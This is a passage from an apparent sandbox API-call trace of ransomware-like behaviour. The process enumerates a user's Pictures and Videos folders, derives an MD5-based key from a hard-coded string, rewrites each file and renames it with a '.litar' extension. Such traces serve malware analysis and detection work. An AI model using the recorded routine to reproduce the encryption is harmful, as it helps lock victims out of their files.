lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.972] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.972] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.972] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.972] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.972] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.972] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.972] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.973] CloseHandle (hObject=0x624) returned 1 [0126.973] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e218 [0126.973] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0126.973] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e218 | out: hHeap=0x5c0000) returned 1 [0126.973] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\RzVVuYwX5ISIAY3GJCd.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\wf0f1qmdho82b2e\\rzvvuywx5isiay3gjcd.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\RzVVuYwX5ISIAY3GJCd.jpg.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\wf0f1qmdho82b2e\\rzvvuywx5isiay3gjcd.jpg.litar")) returned 1 [0126.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.974] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.975] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c7b6be0, ftCreationTime.dwHighDateTime=0x1d4c601, ftLastAccessTime.dwLowDateTime=0x9ef07dc0, ftLastAccessTime.dwHighDateTime=0x1d4c555, ftLastWriteTime.dwLowDateTime=0x9ef07dc0, ftLastWriteTime.dwHighDateTime=0x1d4c555, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USjQB.bmp", cAlternateFileName="")) returned 1 [0126.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.975] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.975] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\USjQB.bmp") returned=".bmp" [0126.975] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\USjQB.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\wf0f1qmdho82b2e\\usjqb.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.975] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=60816) returned 1 [0126.975] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.977] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xed6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.977] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.979] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.979] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xed90, lpOverlapped=0x0) returned 1 [0126.980] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.980] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.980] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.980] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0126.981] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.981] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.981] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.981] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.981] GetLastError () returned 0x0 [0126.981] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.981] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0126.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xed90) returned 0x30fa0b0 [0126.981] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.981] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xed8b, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xed8b, lpOverlapped=0x0) returned 1 [0126.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.982] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xed90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.982] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.982] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.982] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.982] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.982] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.982] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.982] CloseHandle (hObject=0x624) returned 1 [0126.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074fd8 [0126.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074fd8 | out: hHeap=0x5c0000) returned 1 [0126.983] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\USjQB.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\wf0f1qmdho82b2e\\usjqb.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\USjQB.bmp.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\wf0f1qmdho82b2e\\usjqb.bmp.litar")) returned 1 [0126.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.984] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.985] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47c0c840, ftCreationTime.dwHighDateTime=0x1d4d1fb, ftLastAccessTime.dwLowDateTime=0xf3788890, ftLastAccessTime.dwHighDateTime=0x1d4ce08, ftLastWriteTime.dwLowDateTime=0xf3788890, ftLastWriteTime.dwHighDateTime=0x1d4ce08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X_INggXuIaYsOTYsJW7", cAlternateFileName="X_INGG~1")) returned 1 [0126.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e218 [0126.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e2d0 [0126.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e388 [0126.985] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e2d0 | out: hHeap=0x5c0000) returned 1 [0126.985] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e218 | out: hHeap=0x5c0000) returned 1 [0126.985] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47c0c840, ftCreationTime.dwHighDateTime=0x1d4d1fb, ftLastAccessTime.dwLowDateTime=0xf3788890, ftLastAccessTime.dwHighDateTime=0x1d4ce08, ftLastWriteTime.dwLowDateTime=0xf3788890, ftLastWriteTime.dwHighDateTime=0x1d4ce08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X_INggXuIaYsOTYsJW7", cAlternateFileName="X_INGG~1")) returned 0 [0126.985] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.985] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.985] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0126.985] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0126.985] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.985] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.985] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.985] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.985] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.985] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.985] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.985] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.986] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.986] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.986] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.986] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.986] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.986] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.986] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.986] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.986] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.986] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.986] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.986] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.986] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.986] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.986] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.986] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.987] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\") returned="FlfRA9\\" [0126.987] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\") returned="b-b9YkzIMqBbLX\\" [0126.987] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0126.987] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.987] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.987] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.987] PathFindFileNameW (pszPath="") returned="" [0126.987] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb70b5e40, ftCreationTime.dwHighDateTime=0x1d4d3f9, ftLastAccessTime.dwLowDateTime=0x857d8bc0, ftLastAccessTime.dwHighDateTime=0x1d4cc04, ftLastWriteTime.dwLowDateTime=0x857d8bc0, ftLastWriteTime.dwHighDateTime=0x1d4cc04, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.989] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb70b5e40, ftCreationTime.dwHighDateTime=0x1d4d3f9, ftLastAccessTime.dwLowDateTime=0x857d8bc0, ftLastAccessTime.dwHighDateTime=0x1d4cc04, ftLastWriteTime.dwLowDateTime=0x857d8bc0, ftLastWriteTime.dwHighDateTime=0x1d4cc04, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.989] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x139c6c00, ftCreationTime.dwHighDateTime=0x1d4ce9e, ftLastAccessTime.dwLowDateTime=0xf9e70660, ftLastAccessTime.dwHighDateTime=0x1d4d426, ftLastWriteTime.dwLowDateTime=0xf9e70660, ftLastWriteTime.dwHighDateTime=0x1d4d426, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16cC5", cAlternateFileName="")) returned 1 [0126.989] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4a2df10, ftCreationTime.dwHighDateTime=0x1d4cb95, ftLastAccessTime.dwLowDateTime=0xc0b096e0, ftLastAccessTime.dwHighDateTime=0x1d4cb8e, ftLastWriteTime.dwLowDateTime=0xc0b096e0, ftLastWriteTime.dwHighDateTime=0x1d4cb8e, nFileSizeHigh=0x0, nFileSizeLow=0x11735, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EVQWdEk.mp4", cAlternateFileName="")) returned 1 [0126.989] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\EVQWdEk.mp4") returned=".mp4" [0126.989] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\EVQWdEk.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\evqwdek.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.990] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=71477) returned 1 [0126.990] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.992] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1170f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.992] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.993] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x11735, lpOverlapped=0x0) returned 1 [0126.994] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.994] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.994] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.994] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0126.995] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.995] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.995] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.995] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.995] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.995] GetLastError () returned 0x0 [0126.995] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.995] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0126.995] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.995] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11740) returned 0x30fa0b0 [0126.996] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.996] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: 